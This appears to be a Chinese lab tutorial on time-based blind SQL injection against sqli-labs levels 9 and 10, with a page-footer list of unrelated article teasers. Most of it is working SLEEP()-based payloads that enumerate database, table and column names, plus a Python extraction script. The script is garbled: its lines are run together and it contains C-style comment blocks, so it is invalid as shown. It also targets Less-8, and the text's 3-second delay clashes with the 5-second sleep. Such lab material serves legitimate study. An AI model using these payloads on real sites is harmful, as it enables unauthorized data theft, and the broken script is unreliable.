当前位置: 首页 > news >正文

sql靶场-时间盲注(第九、十关)保姆级教程

目录

时间盲注(第九、十关)

1.判断

2.确认时间盲注

2.手工尝试时间盲注

数据库名长度

数据库名字符

表数

表名长度

表名字符

字段数

字段名长度

字段名字符

4.脚本时间盲注注入

5.第十关


时间盲注(第九、十关)
1.判断

当回显,报错显示,及布尔盲注都无法使用时,即无论怎么输入只有一个页面不会变化

2.确认时间盲注

使用的语法有:IF(condition, value_if_true, value_if_false)

测试是否存在时间盲注即闭合方式

单引号的时间盲注测试

?id=1' AND IF(1=1, SLEEP(5), 0) --+

发现页面会在加载中转圈圈3秒,说明有时间盲注,如果没有,则进行测试双引号时间盲注测试,一般不是单引号就是双引号,很少有单引号加括号,双引号加括号等等,这里测试是单引号闭合的时间盲注

?id=1" AND IF(1=1, SLEEP(5), 0) --+

2.手工尝试时间盲注
数据库名长度

注入数据库名,如果不对不会延时,正确则会延时

?id=1' and if(length(database())>4,sleep(5),1)--+ 
?id=1' and if(length(database())>8,sleep(5),1)--+ 
?id=1' and if(length(database())>6,sleep(5),1)--+  

4-数据库长度测试2

5-数据库长度测试3

数据库名字符
?id=1'and if(ascii(substr((select database()),1,1))>80,sleep(5),1)--+ 
?id=1'and if(ascii(substr((select database()),1,1))>104,sleep(5),1)--+ 
?id=1'and if(ascii(substr((select database()),1,1))>116,sleep(5),1)--+ 
?id=1'and if(ascii(substr((select database()),1,1))=110,sleep(5),1)--+ 
?id=1'and if(ascii(substr((select database()),1,1))=114,sleep(5),1)--+ 

7-数据库字符测试2

8-数据库字符测试3

9-数据库字符测试4

10-数据库字符测试5

表数
?id=1'and if(((select count(*) from information_schema.tables where table_schema=database())>3),sleep(5),1)--+ 
?id=1'and if(((select count(*) from information_schema.tables where table_schema=database())>5),sleep(5),1)--+ 

12-表数测试2

表名长度
?id=1'and if(((select length(table_name) FROM information_schema.tables where table_schema=database() limit 1,1)>6),sleep(5),1)--+ 
?id=1'and if(((select length(table_name) FROM information_schema.tables where table_schema=database() limit 1,1)>8),sleep(5),1)--+ 

14-表名长度测试2

表名字符
?id=1'and if((ascii(substr((select table_name FROM information_schema.tables where table_schema=database() limit 0,1),1,1))>32),sleep(5),1)--+ 

字段数
?id=1'and if( ((select count(*) from information_schema.columns where table_schema= 'security' and table_name='users' )>2),sleep(5),1)--+ 
?id=1'and if( ((select count(*) from information_schema.columns where table_schema= 'security' and table_name='users' )>4),sleep(5),1)--+ 

17-字段数测试2

字段名长度
?id=1'and if(((select length(column_name) from information_schema.columns where table_schema= 'security' and table_name='users' limit 1,1)>1),sleep(5),1)--+ 

字段名字符
?id=1'and if((ascii(substr((select column_name from information_schema.columns where table_schema= 'security' and table_name='users' limit 0,1),1,1))>32),sleep(5),1)--+ 

4.脚本时间盲注注入
import requests  #用于发送HTTP请求
import time      # 用于计算时间差url = "http://127.0.0.1/sqli-labs/Less-8/"  # 目标注入点URLdef inject_database(url):name = ''  # 初始化空字符串,存储最终数据库名for i in range(1, 100): # 遍历字符位置(假设数据库名最长99字符)low = 32  # ASCII可打印字符起始值(空格)high = 128 # ASCII结束值(DEL字符,实际只用到127)mid = (low + high) // 2  # 二分法初始中间值while low < high:  # 二分查找当前字符的ASCII值# 构造Payload:通过时间盲注判断字符ASCII值是否大于midpayload = " 1' and ( if( ascii( substr( (select( database()) ),%d,1 ) )>%d,sleep(1),0 ) ) and ('1')=('1    " % (i, mid)/**" "  里面是构造的Payload1'   闭合前面的单引号if() 里面是判断字符的ASCII值是否大于mid ascii() 将字符转换为相应的ACSII值substr( (),%d,1) 获取()里面的字符集的第 %d 位开始的第一位字符,第一个%d(占位符)是代表iselect( database()) 查询获取当前的数据库名()>%d  第二个也就是这个%d是midsleep( ) 查询暂停指定的秒数。通常用于测试或故意造成延迟and ('1')=('1  闭合% (i, mid) 为 Python 的字符串格式化语法,将变量 i(字符位置)和 mid(猜测的 ASCII 值)动态插入 Payload,实现自动化枚*/params = {"id": payload}  # 参数化请求#params 定义 HTTP GET 请求的 URL 参数,键值对形式传递数据#"id"目标网页接收的查询参数名(通常对应后端 SQL 查询的输入字段)start_time = time.time() # time.time() 记录请求时间戳 记录请求开始时间r = requests.get(url, params=params) # 发送HTTP GET请求/**base_url = "http://tieba.baidu.com/f?"  params = {"kw": "兔子", "pn": 100}  res = requests.get(base_url, params=params)  print(res.url) # 输出:http://tieba.baidu.com/f?kw=兔子&pn=100‌:ml-citation{ref="1,3" data="citationList"}  */end_time = time.time()    # 记录请求结束时间# 判断响应时间是否超过1秒(触发sleep(1))if end_time - start_time > 1:low = mid + 1  # 当前字符ASCII值 > mid,调整下限else:high = mid     # 当前字符ASCII值 <= mid,调整上限mid = (low + high) // 2 # 更新中间值# 当low >= high时,确定当前字符ASCII值为midif mid == 32:  # 若mid为32(空格),终止循环breakname = name + chr(mid)  # 将ASCII转为字符并拼接print(name)  # 实时输出当前结果inject_database(url)  # 执行注入函数

5.第十关

测试时间盲注的闭合方式

单引号的时间盲注测试

?id=1' AND IF(1=1, SLEEP(5), 0) --+

发现页面会在加载中转圈圈3秒,说明有时间盲注,如果没有,则进行测试双引号时间盲注测试,一般不是单引号就是双引号,很少有单引号加括号,双引号加括号等等

?id=1" AND IF(1=1, SLEEP(5), 0) --+

这里测试是双引号

剩下的步骤和第九关一样

相关文章:

sql靶场-时间盲注(第九、十关)保姆级教程

目录 时间盲注&#xff08;第九、十关&#xff09; 1.判断 2.确认时间盲注 2.手工尝试时间盲注 数据库名长度 数据库名字符 表数 表名长度 表名字符 字段数 字段名长度 字段名字符 4.脚本时间盲注注入 5.第十关 时间盲注&#xff08;第九、十关&#xff09; 1.判…...

常见FUZZ姿势与工具实战:从未知目录到备份文件漏洞挖掘

本文仅供学习交流使用&#xff0c;严禁用于非法用途。未经授权&#xff0c;禁止对任何网站或系统进行未授权的测试或攻击。因使用本文所述技术造成的任何后果&#xff0c;由使用者自行承担。请严格遵守《网络安全法》及相关法律法规&#xff01; 目录 本文仅供学习交流使用&am…...

【linux】解决 Linux 系统中 root 用户无法打开图形界面问题

【linux】解决 Linux 系统中 root 用户无法打开图形界面问题 问题描述&#xff1a; 在 Linux 系统中&#xff0c;当我们远程SSH尝试以 root 用户身份运行需要图形界面的应用程序时&#xff0c;可能会遇到以下错误信息&#xff1a; MoTTY X11 proxy: Unsupported authorisati…...

数据库系统概念全面解析

数据库系统可能看起来很抽象&#xff0c;但其实它们就像我们生活中的许多事物一样&#xff0c;有着清晰的结构和规则。让我们通过一些有趣的生活例子来理解这些概念。 一、数据库系统基础 想象一个图书馆&#xff1a; - 数据库管理系统(DBMS) 就像图书馆的管理员 - 数据库(DB…...

unity Rigidbody2D、Collider2D参数详解

Rigidbody2D属性&#xff1a; BodyType&#xff1a;类别Simulated&#xff1a;模拟&#xff0c;是否模拟真实物理效果。Use Auto Mass&#xff1a;使用自动质量&#xff0c;根据BoxCollider2D大小来设定Mass&#xff1a;质量。Linear Drag&#xff1a;影响位置移动的阻力系数An…...

es-索引详解

在 Elasticsearch 中&#xff0c;**索引&#xff08;Index&#xff09;**是核心概念之一&#xff0c;类似于关系型数据库中的“表”。索引用于存储、组织和检索文档&#xff08;Document&#xff09;。以下是关于 Elasticsearch 索引的详细解析&#xff1a; 1. 索引的基本概念 …...

SpringBoot3+Lombok如何配置logback输出日志到文件

Background/Requirement SpringBoot3Lombok如何配置logback输出日志到文件&#xff0c;因为我需要对这些日志进行输出&#xff0c;控制台输出和文件输出&#xff0c;文件输出是为了更好的作为AuditLog且支持滚动式备份&#xff0c;每天一个文件。 Technical Solution 1.确保你…...

城市客运安全员适合哪几类人报考

城市客运安全员适合以下几类人报考&#xff1a; 相关专业人员&#xff1a;交通工程、安全工程、交通运输管理等相关专业的人员&#xff0c;他们在学校系统学习过交通安全、运输管理、安全管理等方面的知识&#xff0c;具备扎实的理论基础&#xff0c;更容易理解和掌握城市客运…...

Elasticsearch 解析 updateTime 字段时格式错误

遇到的问题: {"error":{"root_cause":[{"type":"mapper_parsing_exception","reason":"failed to parse field [updateTime] of type [date] in document with id 57"}],"type":"mapper_parsing…...

Windows远程桌面黑屏怎么办?

在使用Windows远程桌面连接另一台电脑时&#xff0c;用户经常会遇到Windows远程桌面黑屏的问题。那么&#xff0c;该如何有效地解决Windows远程桌面黑屏的问题呢&#xff1f;遇到远程桌面连接黑屏的问题时&#xff0c;可以通过在本地组策略编辑器中禁用WDDM图形显示驱动来解决。…...

计算机视觉|超详细!Meta视觉大模型Segment Anything(SAM)源码解剖

一、引言 在计算机视觉领域&#xff0c;图像分割是一个核心且具有挑战性的任务&#xff0c;旨在将图像中的不同物体或区域进行划分和识别&#xff0c;广泛应用于自动驾驶、医学影像分析、安防监控等领域。Segment Anything Model&#xff08;SAM&#xff09;由 Meta AI 实验室…...

【不动产登记全解析】范围、内容与不予登记的情形

在现代经济社会中&#xff0c;不动产作为重要的资产形式&#xff0c;其权利的确立与流转离不开规范的登记制度。今天&#xff0c;我们就来深入探讨不动产登记的三大核心议题&#xff1a;登记的广泛范围、登记簿上的必备记载事项&#xff0c;以及在哪些情况下不动产登记将不会被…...

机器学习之距离度量方法

常见的距离度量方法及相关函数、图示如下: 1. 欧几里得距离(Euclidean Distance) 函数公式:对于两个 ( n ) 维向量 ( x = ( x 1 , x 2 , ⋯   ,...

2340单点修改、区间查询

2340单点修改、区间查询 ⭐️难度&#xff1a;中等 &#x1f31f;考点&#xff1a;线段树 &#x1f4d6; &#x1f4da; import java.util.Scanner;public class Main {static int N 100010;static int n;static int[] c new int[N];static int lowbit(int x){ // 求loub…...

Go语言 vs Java语言:核心差异与适用场景解析

在当今的软件开发领域&#xff0c;Go&#xff08;Golang&#xff09;和Java都是备受关注的后端开发语言。尽管二者都能构建高性能服务&#xff0c;但它们在设计哲学、语法特性和应用场景上存在显著差异。本文将从多个维度对比这两种语言&#xff0c;帮助开发者更好地理解它们的…...

18 | 实现简洁架构的 Handler 层

提示&#xff1a; 所有体系课见专栏&#xff1a;Go 项目开发极速入门实战课&#xff1b;欢迎加入 云原生 AI 实战 星球&#xff0c;12 高质量体系课、20 高质量实战项目助你在 AI 时代建立技术竞争力&#xff08;聚焦于 Go、云原生、AI Infra&#xff09;&#xff1b;本节课最终…...

谷歌Gemma 3:开启AI新纪元的强大引擎

摘要 谷歌公司今日宣布推出最新版本的人工智能模型——Gemma 3。该模型基于Gemini AI技术&#xff0c;是继一年前两款“开放”Gemma AI模型后的进一步发展。Gemma 3以其卓越性能著称&#xff0c;能够在单个GPU上运行&#xff0c;成为迄今为止最强大的AI模型之一。这一技术升级标…...

【Java项目】基于JSP的电子商城系统

【Java项目】基于JSP的电子商城系统 技术简介&#xff1a;采用JSP技术、B/S结构、MYSQL数据库等实现。 系统简介&#xff1a;该电子商城系统包括用户、医生和管理员。其主要功能包括管理员&#xff1a;个人中心、用户管理、医生管理、药品信息管理、线上诊疗管理、医生信息管理…...

双 Token 无感刷新机制在前后端分离架构中实现

在前后端分离的架构中&#xff0c;双 Token 无感刷新是一种常见的身份验证机制&#xff0c;用于在 Access Token 过期时&#xff0c;通过 Refresh Token 自动获取新的 Access Token&#xff0c;从而避免用户频繁登录。 1. 双 Token 无感刷新的核心流程 1.1 核心流程 用户登录&…...

Linux中的基本指令(下)

目录 mv指令 more指令 less指令 head指令 tail 指令 继续理解文件 重定向和追加重定向操作 理解管道 find指令 whereis 指令 bc指令 uname ‒r指令 grep 指令 关机 扩展命令 zip/unzip 指令 tar指令 关于rzsz 系统间的文件互传 接上&#xff01; mv指令 m…...

电子电气架构 --- 智能电动汽车概述

我是穿拖鞋的汉子&#xff0c;魔都中坚持长期主义的汽车电子工程师。 老规矩&#xff0c;分享一段喜欢的文字&#xff0c;避免自己成为高知识低文化的工程师&#xff1a; 人生是一场骗局&#xff0c;最大的任务根本不是什么买车买房&#xff0c;也不是及时行乐&#xff0c;这就…...

Unity | 工具类:消息管理器-延迟分发

目录 一、消息管理器 二、获得新装备 三、UI面板创建 消息管理器除了简单的订阅(Subscribe)、取消订阅(Unsubscribe)操作以外&#xff0c;还需处理延迟分发(Dispatch)的情况。 &#xff08;即时处理可参考&#xff1a;Unity | 工具类-利用事件系统进行业务串通-CSDN博客&…...

医院本地化DeepSeek R1对接混合数据库技术实战方案研讨

1. 引言 Deep SEEK R1是一个医疗智能化平台,通过本地化部署实现数据的安全性和可控性,同时提供高效的计算能力。随着医疗信息化的迅速发展,各种数据源的增加使得医院面临更多复杂的挑战,包括如何处理实时监测数据、如何进行大数据环境下的复杂查询以及如何整合多模态数据等…...

GPU加速的国密SM2算法实现

目录 GPU加速的国密SM2算法实现一、前言二、国密SM2算法概述2.1 国密SM2算法背景2.2 SM2的数学基础2.3 SM2数字签名流程三、GPU加速在SM2算法中的应用3.1 高性能运算需求3.2 GPU加速优势3.3 加速实现思路四、基于Python的SM2算法实现与GPU加速4.1 算法模块设计4.2 主要数学公式…...

《UE5_C++多人TPS完整教程》学习笔记35 ——《P36 武器类(Weapon Class)》

本文为B站系列教学视频 《UE5_C多人TPS完整教程》 —— 《P36 武器类&#xff08;Weapon Class&#xff09;》 的学习笔记&#xff0c;该系列教学视频为计算机工程师、程序员、游戏开发者、作家&#xff08;Engineer, Programmer, Game Developer, Author&#xff09; Stephen …...

Linux——Shell运行原理以及Linux权限

目录 1. Shell的运行原理 2. Linux中的权限问题 2.1 Linux权限的概念 2.1.1 如何实现用户账号之间的切换 2.1.2 如何将普通用户添加到信任列表中 2.1.3 如何仅提升当前指令的权限 2.2 Linux权限管理 2.2.1 文件访问者的分类&#xff08;人&#xff09; 2.2.2 文件类型…...

SpringBoot注解驱动CRUD工具:spring-avue-plus

项目背景 作为一个后端小伙伴&#xff0c;最大的痛点就是写完的接口需要拥有一些可视化的页面去承载这些功能使用【如果是只给后端那么swagger也足够了&#xff0c;非后端有点呛】如果有专业前端去弄确实也快&#xff0c;但是小公司呀~~~ 学呗~妈呀&#xff0c;现在的前端也挺…...

Redis 数据持久化之AOF

AOF&#xff08;Append Only File&#xff09; 以日志的形式来记录每个写操作&#xff0c;将Redis执行过的所有写指令记录下来&#xff08;读操作不记录&#xff09;&#xff0c;只许追加文件但不可以改写文件&#xff0c;redis启动之初会读取该文件重新构建数据&#xff0c;换…...

API调试工具的无解困境:白名单、动态IP与平台设计问题

引言 你是否曾经在开发中遇到过这样的尴尬情形&#xff1a;你打开了平台的API调试工具&#xff0c;准备一番操作&#xff0c;结果却发现根本无法连接到平台&#xff1f;别急&#xff0c;问题出在调试工具本身。今天我们要吐槽的就是那些神奇的开放平台API调试工具&#xff0c;…...

git commit messege 模板设置 (规范化管理git)

配置方法 git config --global core.editor vim &#xff08;设置 Git 的默认编辑器为 Vim&#xff09;在用户根目录下&#xff08;~&#xff09;&#xff0c;创建一个.git_commit_msg文件&#xff0c;然后把下面的内容拷贝到文件中并保存。 [version][模块][类型]{解决xxx问题…...

串口通信ASCII码转16进制及C#串口编程完整源码下载

在工业自动化、嵌入式系统及物联网以行业中&#xff0c;串口编程非常重要。 串口编程&#xff0c;重点在于串口数据通信和数据处理。 在C#中&#xff0c;System.IO.Ports命名空间提供了SerialPort类&#xff0c;用于实现串口通信。 串口程序的开发主要包括以下几点 1.引用命…...

第十一届蓝桥杯单片机国赛

什么&#xff1f;4T模拟赛和省赛做起来轻轻松松&#xff1f;不妨来挑战一下第十一届国赛&#xff0c;这一届的国赛居然没考超声波、串口通信&#xff01;只要你正确地理解了题目的意思&#xff0c;规避出题人挖的坑&#xff0c;拿个国一轻轻松松。 附件&#xff1a;第十一届蓝桥…...

Ateme在云端构建可扩展视频流播平台

Akamai Connected Cloud帮助Ateme客户向全球观众分发最高质量视频内容。 “付费电视运营商和内容提供商现在可以在Akamai Connected Cloud上通过高质量视频吸引观众&#xff0c;并轻松扩展。”── Ateme首席战略官Rmi Beaudouin ​ Ateme是全球领先的视频压缩和传输解决方案提…...

QT系列教程(20) Qt 项目视图便捷类

视频连接 https://www.bilibili.com/video/BV1XY41127t3/?vd_source8be9e83424c2ed2c9b2a3ed1d01385e9 Qt项目视图便捷类 Qt项目视图提供了一些便捷类&#xff0c;包括QListWidget, QTableWidget&#xff0c; QTreeWidget等。我们分别介绍这几个便捷类。 我们先创建一个Qt …...

【最后203篇系列】014 AI机器人-1

说明 终于开张了&#xff0c;我觉得AI机器人是一件真正正确&#xff0c;具有商业价值的事。 把AI机器人当成一笔生意&#xff0c;我如何做好这笔生意&#xff1f;一端是业务价值&#xff0c;另一端是技术支撑。如何构造高质量的内容和服务&#xff0c;如何确保技术的广度和深度…...

cfi网络安全 网络安全hcip

目录 RIP (路由信息协议) 算法 开销 版本 开销值的计算方式 RIPV1和RIPV2的区别 RIP的数据包 Request(请求)包 Reponse(应答)包 RIP的特征 周期更新 RIP的计时器 1&#xff0c;周期更新计时器 2&#xff0c;失效计时器 3&#xff0c;垃圾回收计时器 RIP的核心思…...

HTML 基础

一、HTML 基本结构 <!DOCTYPE html> <html> <head><meta charset"utf-8"><title>页面标题</title> </head> <body><!-- 可见内容区域 --> </body> </html><!DOCTYPE html>&#xff1a;声明…...

数据结构与算法:归并排序

目录 归并排序的基本思想 归并排序的特性总结 代码 归并排序的非递归版 归并排序的基本思想 归并排序是建立在归并操作上的一种有效的排序算法。改算法是采用分治法的一个非常典型的应用。将已有序的子序列合并&#xff0c;得到完全有序的序列&#xff1b;即先使每个子序列…...

Tweak Power:全方位电脑系统优化的高效工具

在日常使用电脑时&#xff0c;系统性能的下降、垃圾文件的堆积以及硬盘的老化等问题常常困扰着用户。为了提升电脑性能、优化系统运行&#xff0c;许多人会选择系统优化工具。然而&#xff0c;国内一些系统优化软件常常因为广告过多或功能冗杂而让人望而却步。此时&#xff0c;…...

stm32中分析UART中IDLE,RXNE,TC,TXE这些标志位的作用

下面将基于 STM32 标准库&#xff0c;结合之前提到的不同应用场景&#xff0c;给出使用 TXE、TC、IDLE 和 RXNE 标志位的代码示例及分析。 1. 连续数据发送&#xff08;使用 TXE&#xff09; 应用场景 向外部设备连续发送大量数据&#xff0c;如向显示屏发送显示数据、向传感…...

代码随想录算法训练营第十天,150.逆波兰表达式求值,239.滑动窗口最大值,347.前K个高频元素

今日内容&#xff1a;150.逆波兰表达式求值&#xff0c;239.滑动窗口最大值&#xff0c;347.前K个高频元素&#xff0c;栈与队列总结 心得&#xff1a;昨天休息了一天&#xff0c;栈与队列的题都比较典型&#xff0c;之前也是恶补过堆栈的知识&#xff0c;所以做起来相对kmp好一…...

【python】Flask web框架

文章目录 一、Flask 简介二、核心组件解析2.1 路由系统2. 模板引擎 (Jinja2)2.3 表单处理与请求上下文 三、现代开发实践3.1 应用工厂模式3.2 异步处理支持 四、安全最佳实践五、性能优化策略六、扩展生态精选七、部署方案对比 一、Flask 简介 Flask 是基于 Python 的微型 Web…...

Node.js:快速启动你的第一个Web服务器

Node.js 全面入门指南 文章目录 Node.js 全面入门指南一 安装Node.js1. Windows2. MacOS/Linux 二 配置开发环境1. VSCode集成 三 第一个Node.js程序1. 创建你的第一个Node.js程序 四 使用Express框架1. 快速搭建服务器 一 安装Node.js 1. Windows 以下是Windows环境下Node.j…...

3-003:在 MySQL 中建索引时需要注意哪些事项?

在 MySQL 中创建索引时&#xff0c;需要注意以下事项&#xff0c;以确保索引高效且合理&#xff1a; 1. 选择合适的索引类型 主键索引&#xff08;PRIMARY KEY&#xff09;&#xff1a;每个表只能有一个&#xff0c;默认是聚簇索引。唯一索引&#xff08;UNIQUE&#xff09;&…...

基于WPF的雷达上位机系统开发实践

一、雷达上位机系统概述 1.1 系统功能需求 现代雷达上位机系统通常需要实现以下核心功能模块&#xff1a; 数据采集与解析 支持多种通信协议&#xff08;TCP/IP、UDP、RS422等&#xff09; 实时解析雷达原始数据&#xff08;目标距离、方位、速度、RCS等&#xff09; 典型数…...

版本号标识

Visual Studio 16 2019 是 Microsoft Visual Studio 2019 的版本号标识。具体来说&#xff1a; Visual Studio 是微软提供的一款集成开发环境&#xff08;IDE&#xff09;&#xff0c;用于开发各种应用程序&#xff0c;如桌面软件、Web 应用、移动应用等&#xff0c;支持多种编…...

计算机考研C语言

C语言程序设计从入门到精通【2025完整版】考研复试 嵌入式 计算机二级 软考 专升本也适用_哔哩哔哩_bilibili 1、第一个C程序 helloC #include <stdio.h>int main(){printf("hehe");return 0;}每个C语言程序不管有多少行代码&#xff0c;都是从main函数开始执…...

STM32 内置的通讯协议

数据是以帧为单位发的 USART和UART的区别就是有没有同步功能 同步是两端设备有时钟连接&#xff0c;异步是没时钟连接&#xff0c;靠约定号的频率&#xff08;波特率&#xff09;接收发送数据 RTS和CTS是用来给外界发送已“可接收”或“可发送”信号的&#xff0c;一般用不到…...

QT:串口上位机

创建工程 布局UI界面 设置名称 设置数据 设置波特率 波特率默认9600 设置数据位 数据位默认8 设置停止位 设置校验位 调整串口设置、接收设置、发送设置为Group Box 修改配置 QT core gui serialport 代码详解 mianwindow.h 首先在mianwindow.h当中定义一个串口指…...

f QT测试

# 添加 Qt Test 模块&#xff0c;用于支持单元测试功能 QT testlib# 添加 Qt 的核心模块和 GUI 模块&#xff0c;这是构建 Qt 应用程序的基础模块 QT core gui# 如果 Qt 的主版本号大于 4&#xff0c;则添加 widgets 模块。 # 这是因为 Qt Widgets 模块是从 Qt 5 开始引…...